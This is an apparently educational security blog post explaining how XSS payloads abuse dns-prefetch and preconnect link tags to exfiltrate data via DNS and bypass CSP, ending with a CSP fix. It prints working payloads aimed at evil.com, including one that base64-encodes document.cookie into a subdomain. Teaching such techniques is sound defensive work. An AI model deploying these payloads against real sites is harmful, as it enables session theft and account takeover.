DNS for exfiltration and CSP bypass

DNS is the answer to all your problems!

SecurityGOAT
5 min readJul 26, 2021

DNS is great! So great that attackers also love it :)

Today I will show you a neat trick to exfiltrate the data from client side using XSS bypassing the loose CSP restrictions, if any.

Reference: https://www.lifewire.com/what-is-dns-domain-name-system-2625855

I am sure you must have heard of XSS. It can be quite dangerous and lead to account takeover, stealing of cookie (non HTTP-only cookies) and much much more! I will cover XSS in depth in my upcoming course on XSS. It will be huge, so stay tuned :)

What’s dns-prefetch?

As per the MDN documentation:

DNS-prefetch is an attempt to resolve domain names before resources get requested. This could be a file loaded later or link target a user tries to follow.

Sounds straight enough right. The domain names get prefetched so that the browser can load the resource without DNS resolution, in case the user choses to visit the resources later on.

Why dns-prefetch?

Again, I asked MDN for it, and it had the right answers for me ;)

When a browser requests a resource from a (third party) server, that cross-origin’s domain name must be resolved to an IP address before the browser can issue the request. This process is known as DNS resolution. While DNS caching can help to reduce this latency, DNS resolution can add significant latency to requests. For websites that open connections to many third parties, this latency can significantly reduce loading performance.

dns-prefetch helps developers mask DNS resolution latency. The HTML <link> element offers this functionality by way of a rel attribute value of dns-prefetch. The cross-origin domain is then specified in the href attribute:

Syntax:

<link rel="dns-prefetch" href="https://fonts.googleapis.com/" >

I guess all the things must be clear till now.

But how can someone abuse this? And you mentioned about CSP bypass. I don’t see any CSP bypass scope here. It seems like a benign DNS resolution to speed things up… What can go wrong here?

Did you figure it out? Take some time and try to find out what can go wrong. How can this feature be (ab)used by an attacker.

Solving the Mystery

If you guessed it, then great! If not, don’t worry, we will cover it now :)

Say you found XSS on a domain and wish to exfiltrate data to your domain. This can be pretty easy right — just use the <img> tag to exfiltrate contents using the onerror attribute to run your XSS payload.

But what if the systems you have found XSS on are in the internal network of a big corporation? Corporations usually don’t allow external traffic and have strict egress rules and a good firewall in place. If the domain you are exfiltrating data to is not in allowlist then the request would get blocked.

In that case your payload won’t work right. And let’s say your website isn’t blocklisted, what if there’s a strict CSP policy on the page and only the images present on the website or some safelisted domains are allowed. In that case the CSP will avoid loading the image from your site.

Can we do something in those cases?

Yes we can!

DNS to the rescue! Usually DNS requests are allowed to be made and there’s no restriction on them. Therefore using a DNS request one can easily get the request out and exfiltrate the data.

If you try the link tag with rel set to dns-prefetch in your XSS payload, and use wireshark to see if any DNS requests are made, you might not see anything, if you are trying it out in Firefox (see this issue), but it works perfectly in Chrome.

Payload:
<link rel="dns-prefetch" href="//your_data.evil.com" >

But anyways, I like Firefox more so I wanted a payload that works in Firefox :)

And so I constructed this payload:

Payload:
<link rel="preconnect" href="//your_data.evil.com" >

What preconnect does is: In addition to resolving DNS entry for the domain, it also actively establishes a connection to the specified URL. And thus, Firefox will be forced to perform a DNS query now, just because it needs to establish a connection there!

And this payload will get your_data exfiltrated via DNS!

Ofcourse this payload would have limitation on the size of data we can exfiltrate and the characters in the exfiltrated data must be encoded so that the sub-domain name is valid.

I saw a challenge from Thexssrat and wanted to find out the get data out using DNS only.

And I came up with this payload (obviously not going for optimization right now since my objective was to get data out via DNS!):

Payload:
<iframe srcdoc="<link id=x rel='preconnect'><script>x.href='//'+btoa(document.cookie)+'.evil.com'</script>">

Vulnerable Website
Wireshark to see the DNS query in action!

And if you notice the session cookie is being sent via DNS query! It is base64-encoded to avoid breaking the domain name!

Fixes?

If I leave you here, I think it would be cheating. Don’t you want to learn how to fix this?

So the fix would be to use the CSP directive “prefetch-src” which specifies valid resources that may be prefetched or prerendered.

And it falls back to default-src, if not specified. And therefore, its always recommended to use default-src directive and set it to ‘self’ or ‘none’!

Closing Thoughts

This challenge was quite easy if you just want to solve it. But I wanted to push a bit more and see if I could use some different technique to pull out the session cookie. That’s how we learn right :)

I hope this post was informational and if you are enjoying my work and would like to support me, then please check out my Patreon page or you can Buy Me A Coffee.

Also, if you are interested in any specific topic, let me know :)

See ya!
Until next time, keep learning and happy hacking.

--

--

SecurityGOAT
SecurityGOAT

Written by SecurityGOAT

Wannabe Hacker! Teaching Infosec in my own insightful ways :) Twitter: twitter.com/_SecurityGOAT | Support: buymeacoffee.com/SecurityGOAT

No responses yet